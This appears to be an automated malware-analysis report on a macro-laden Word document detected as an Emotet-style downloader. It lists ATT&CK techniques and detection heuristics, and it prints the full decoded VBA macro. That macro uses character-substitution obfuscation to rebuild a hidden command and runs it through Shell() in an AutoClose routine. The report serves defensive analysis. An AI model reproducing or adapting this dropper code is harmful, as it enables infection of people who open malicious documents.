MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. The presence of a VBA project, specifically an Auto_Close macro that calls the Shell() function, indicates that the document is designed to execute arbitrary code. The VBA script attempts to construct and execute a command, likely to download and run a secondary payload.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2151 bytes |
SHA-256: 7ef5f4f86a8d16b01d334b3478c580d9b00e85884950e070b5025604d85b4658 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function menhir(amphipods)
hindustani = Array("w", "C", "e", "s", "p", "o", "8", "a", "D", "k", "m", "K", "E", "F", "T", "", "O", "B", "V", "f", "v", "Q", "h", "x", "9", "d", "y")
alnager = Array(" ", "t", "d", "i", "h", "e", "k", "s", "x", "m", "U", "j", "b", "?", "O", "n", "w", "u", "/", ":", "p", "q", "=", ".", "a", "c", "o")
burglaries = vbNullString
For Each approof In amphipods
illuminati = Application.Run("delightless", approof, hindustani)
If illuminati > -1 Then
burglaries = alnager(illuminati) + burglaries
End If
Next
menhir = StrReverse(burglaries)
End Function
Public Function delightless(managua, nonheritable)
metaphyte = 7625
salutiferouslyator = -1
For Each ultradry In nonheritable
If ultradry = managua Then
metaphyte = salutiferouslyator
Exit For
End If
salutiferouslyator = salutiferouslyator + 1
Next
If metaphyte = 7625 Then
metaphyte = -1
End If
delightless = metaphyte + 1
End Function
Sub AutoClose()
amphipods = Array("k", "a", "p", "C", "9", "x", "o", "D", "o", "w", "p", "C", "C", "v", "f", "V", "V", "Q", "O", "e", "s", "y", "9", "", "e", "K", "9", "E", "", "O", "p", "e", "9", "O", "x", "d", "y", "k", "V", "T", "m", "V", "a", "k", "s", "D", "x", "v", "p", "v", "F", "B", "C", "k", "9", "h", "8", "s", "k", "y", "K")
cheltenham = menhir(amphipods)
Application.Run "grainsickness", (cheltenham)
End Sub
Private Sub grainsickness(ameliorative)
hereward = 5011
fossilizable = True
While fossilizable
subanun = hereward + 27733
If subanun - hereward > 313 Then
endotheliomata = acnida + "ll"
Call VBA.Shell(ameliorative, vbNormalFocus - 1)
fossilizable = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: d16bf632bb92c6cc73abd0728afcdc0f3c56d520a3da029d4296ac1ff016944f |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.